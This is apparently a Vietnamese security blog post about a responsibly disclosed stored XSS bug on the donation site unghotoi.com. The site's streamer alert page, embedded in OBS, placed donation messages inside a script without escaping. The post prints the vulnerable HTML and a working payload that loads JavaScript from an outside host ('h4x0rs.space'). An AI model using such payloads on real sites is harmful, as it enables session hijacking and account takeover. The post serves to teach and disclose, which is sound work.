IDOL STREAMER VS. XSS

l4w >>

2021-06-02

xss

Mở đầu

Mình nghĩ ở thời điểm này 2021, chắc hẳn đại đa số đều đã quen với thuật ngữ livestream. Livestreamer còn là những người KOLs, có sức ảnh hưởng lớn đến cộng đồng.
Nghề này có một đặc thù là phải có internet, internet chính là cánh cổng cho họ để giao tiếp với khán giả, với những người ủng hộ họ. Vậy liệu những lỗi bảo mật có gây ảnh hưởng gì đến họ không?

Bài này lỗi sẽ không có gì phức tạp và cao siêu cả, mình chỉ muốn kể một câu chuyện về XSS lên các streamer, vì vốn từ năm 2018 mình có hứa hẹn trên blog rằng sẽ viết về nó rồi. Thôi nay có dịp thì làm luôn.

Nếu các bạn không biết thì mình có một niềm quan tâm đặc biệt với Client-side attack nói chung, vì nó phức tạp và rất thú vị. Thú vị vì nó thay đổi từng ngày, gắn chặt với sự phát triển và nguyên lý hoạt động của trình duyệt (mình thống kê được thì 1 ngày sẽ có khoảng 400 commits khác nhau vào nhân Chromium). Các features liên tục sinh ra cũng đồng thời mang lại những rủi ro mới.

Sau này còn có các loại tấn công khác liên quan đến nguyên lý của trình duyệt như: XS-Leaks, Cache, DNS, …

P/S: Nếu bạn còn mới lạ với XSS thì nên xem video XSS Hacking để nắm một số khái niệm nhé.

Storyline

TLDR: Mình đã dùng một lỗi XSS để có thể truy cập vào tài khoản donate của các livestreamer nổi tiếng như: ViruSs, QTV, RIP113, Độ Mixi, … tại trang unghotoi.com. Điểm đặc biệt là mình đã không cần gửi đường link, email hay bất kì thứ gì trực tiếp đến họ. Vì sao ư? Đọc tiếp phần dưới nhé.

Disclaimer: Tất nhiên mình đã không dùng nó để trục lợi bất kì thứ gì vì mình cũng không quan tâm đến thu nhập của họ lắm, mấy cái này có khi chính những anh ấy đã từng chia sẻ trên stream rồi.

Đây là những lá mail mình và bạn admin@unghotoi.com đã trao đổi vào ngày 16/03/2018:

XSS có bắt buộc phải click vào thứ gì không?

Okay tua một tí về bản chất của XSS, thật sự kẻ tấn công có phải gửi hay dụ dỗ nạn nhân click vào một đường link nào không?

Câu trả lời là: TÙY

Tùy vào hoàn cảnh và nơi xảy ra lỗi. Là một người chuyên gia bảo mật đôi khi bạn phải phân tích kĩ càng ở nhiều góc cạnh để đánh giá đúng rủi ro của từng lỗi. Đấy từng là công việc của mình hồi còn ở Microsoft Security Response Center (MSRC). Từng phân tích và đánh giá của mình sẽ quyết định số tiền bounty tới các bug hunters.

Còn nếu đánh giá sai? Bạn sẽ lập tức bị một anh nào đó tweet và tag thẳng @msftsecresponse vào hỏi lí do, và mình sẽ là người phải phân trần với researcher. Căng thẳng lắm mấy bạn :( Thật ra đánh giá sai mức độ nguy hiểm nó cũng ảnh hưởng đến rủi ro khác nữa chứ không phải chỉ liên quan đến tiền bounty của các hunter.

Mọi thứ bắt đầu từ sự tò mò

Vào thời điểm 2018 đó, mình thật sự khá bị dính vào những buổi livestream của các idol. Xem cực kì giải trí, và mình cũng đã vài lần bắt chước stream khi chơi game lên facebook. Cảm ơn mọi người, bạn bè tôi, lần cao nhất mà mọi người xem tôi chơi game cùng một lúc ở facebook cá nhân là những 10 người…

Xem rất nhiều nên mình rất hiểu phong trào donate, là khi có những người muốn ủng hộ những nhà sáng tạo nội dung bằng cách nạp tiền vào một bên thứ ba và “bắn” donate cho họ như một lời cảm ơn.

Hình dưới là ví dụ trong một buổi livestream của anh QTV:

Nhưng đến một ngày, mình thật sự tò mò là tại sao những người streamer có thể setup để thông báo hiện trực tiếp câu donate một cách real-time như vậy. Mình nghĩ ngay đến việc có thể là có các API (Application Programming Interface) gì đấy ở phía các trang donate.

Lân la lên trang https://unghotoi.com/ và các nguồn trên mạng để tìm hiểu cách thức setup thì mình tìm ra một đoạn video sau đây

–

Nói nôm na đó là, unghotoi sẽ cung cấp cho các streamer những đường dẫn hình thù tựa như sau:
https://unghotoi.com/alert-donation-skin1/{secret_token} mà trong đó {secret_token} sẽ là duy nhất và bí mật đối với mỗi tài khoản.

Ví dụ của mình sẽ trông như:
https://unghotoi.com/alert-donation-skin1/tk-foLHaVs....22011750

Fun fact: các bạn có thấy trang donate có nền xanh lè như cách các chương trình truyền hình quay không? đó là để khi chiếu lên, phông màu xanh sẽ được xóa để hình ảnh streaming không bị che :D

Việc tiếp theo là chúng ta sẽ nhúng đường dẫn trang web này vào chương trình streaming (ở trong video hướng dẫn và đa số mọi người sử dụng đó là OBS - Open Broadcaster Software).

Vâng! Chương trình streaming cho phép chúng ta làm điều đó, cũng dễ hiểu thôi, để làm cho stream vui nhộn và tương tác hơn họ phải cung cấp những features như vậy. Sự tiện ích và security luôn tỉ lệ nghịch với nhau ;)

The bug

Wait, câu hỏi lập tức nảy ra trong đầu mình là: “Vậy nếu trang web này bị XSS thì như thế nào?”

Các bạn có thể thấy ở trang donate sẽ luôn hỏi “Tên” và “Lời nhắn” cùng với số tiền muốn donate

Ngay lập tức mình view-source HTML của trang link https://unghotoi.com/alert-donation-skin1/tk-foLHaVs....22011750 khi có một thông điệp tới, thì phát hiện ra là THÔNG ĐIỆP KHI DONATE sẽ được truyền vào giữa một hàm tên responsiveVoice.speak(...) (dòng 9)

...snip...
<audio controls autoplay class="hide">
<!-- <source src="https://unghotoi.com/data/sound/vui-ve-1/3.mp3" type="audio/mpeg" /> -->
</audio>
<script type="text/javascript">
            function sayIt(){
                animate(".demo", 'zoomOut');
                $('#myhidden').slideUp(3000).delay(30000).fadeOut(3000);
                responsiveVoice.speak('{ LỜI NHẮN KHI DONATE SẼ ĐƯỢC TRUYỀN VÀO ĐÂY }','Vietnamese Male',{pitch: 1, rate: 0.7});
            }
            setTimeout(sayIt, 30000);
        </script>
<script src='//vws.responsivevoice.com/v/e?key=AFXxO7dn'></script>
<script language="javascript">
	     
	    function animate(element_ID, animation) {
	        $(element_ID).addClass(animation);
	        var wait = window.setTimeout( function(){
	            $(element_ID).removeClass(animation)}, 3000
	        );
	    }
    </script>
</body>
</html>

Nhìn sơ mình đoán chắc hẵn đoạn script này được dùng để đọc lời nhắn donate của những người ủng hộ lên như các bạn thường nghe thấy.

Vậy nếu ra sao mình chèn một XSS payload vào tại đây?

Không có bất kì bộ lọc hoặc bất kì cách nào để chống XSS tại chỗ này. Dẫn đến mình đã chèn thành công </script><script src='https://h4x0rs.space/a.js'></script>

...snip...
<audio controls autoplay class="hide">
<!-- <source src="https://unghotoi.com/data/sound/vui-ve-1/3.mp3" type="audio/mpeg" /> -->
</audio>
<script type="text/javascript">
            function sayIt(){
                animate(".demo", 'zoomOut');
                $('#myhidden').slideUp(3000).delay(30000).fadeOut(3000);
                responsiveVoice.speak('chúc idol vui vẻ quẩy lên bây ơi </script><script src='https://h4x0rs.space/a.js'></script>','Vietnamese Male',{pitch: 1, rate: 0.7});
            }
            setTimeout(sayIt, 30000);
        </script>
<script src='//vws.responsivevoice.com/v/e?key=AFXxO7dn'></script>
<script language="javascript">
	     
	    function animate(element_ID, animation) {
	        $(element_ID).addClass(animation);
	        var wait = window.setTimeout( function(){
	            $(element_ID).removeClass(animation)}, 3000
	        );
	    }
    </script>
</body>
</html>

Ngay lập tức, BAM! trên màn hình của streamer đã hiện lên thông điệp donate và chạy script mình đã chèn vào. Từ đây như bạn biết XSS có thể bị lợi dụng để làm giả trang đăng nhập và làm một số thứ nguy hiểm hơn.

Đây là màn hình quản lý lượng donate của một kênh stream. Mình đã che hết tất cả thông tin nhạy cảm, những lời thoại donate và số tiền ở bên dưới thì đều đã hiện public lên stream của họ rồi.

Qua bug này, chúng ta có thể thấy việc khai thác XSS không nhất thiết là phải click vào một đường link dài ngoằng nhìn rất nguy hiểm, mà tùy vào hoàn cảnh của lỗi mà chúng ta có rất nhiều cách setup để đối tượng có thể bị khai thác. Với trường hợp trên, OBS chương trình streaming cho phép chúng ta lồng một website vào đã vô tình tạo nên một bàn đạp để payload XSS có thể rơi vào streamer một cách chủ động mà họ không hề phải thực hiện bất kì thao tác gì. Thuật ngữ được gọi là “no user-interaction required”.

Hoặc với những bug XSS khác, attacker cũng có thể lồng những payload đường link khai thác Reflected-XSS vào những <iframe> và nhúng nó ẩn vào bất kì đâu mà bạn dùng trình duyệt đi ngang qua chứ không nhất thiết phải gửi cho bạn một đường link dài dòng gì cả ;)

Nhưng rất may mắn, ở thời điểm hiện tại, các trình duyệt tiên tiến như Google Chrome, Firefox, … đã dần thực hiện SameSite by default nhằm hạn chế những tác động của attack vector này.

Ngoài ra, các bạn thử nghĩ xem những chương trình chat trực tuyến như Messenger, WhatsApp, Microsoft Teams, Skype,… mà bị XSS trong tin nhắn được gửi đi thì sẽ như thế nào?

Nếu các bạn muốn biết nó là gì thì hãy comment ở trên post facebook để chúng mình biết có nên viết về nó không nhé!

Bonus

Mình cũng đã từng XSS vào kênh PewPew trên trang talktv.vn vào thời điểm 2013. Report đã được gửi cho TalkTV và trong một lần vô tình gặp Pew ở ngoài thì ảnh có lại bắt tay và hỏi “Ông là người hack kênh tôi à?” =))

Cheers / CyberJutsu - We make computer security easier to learn!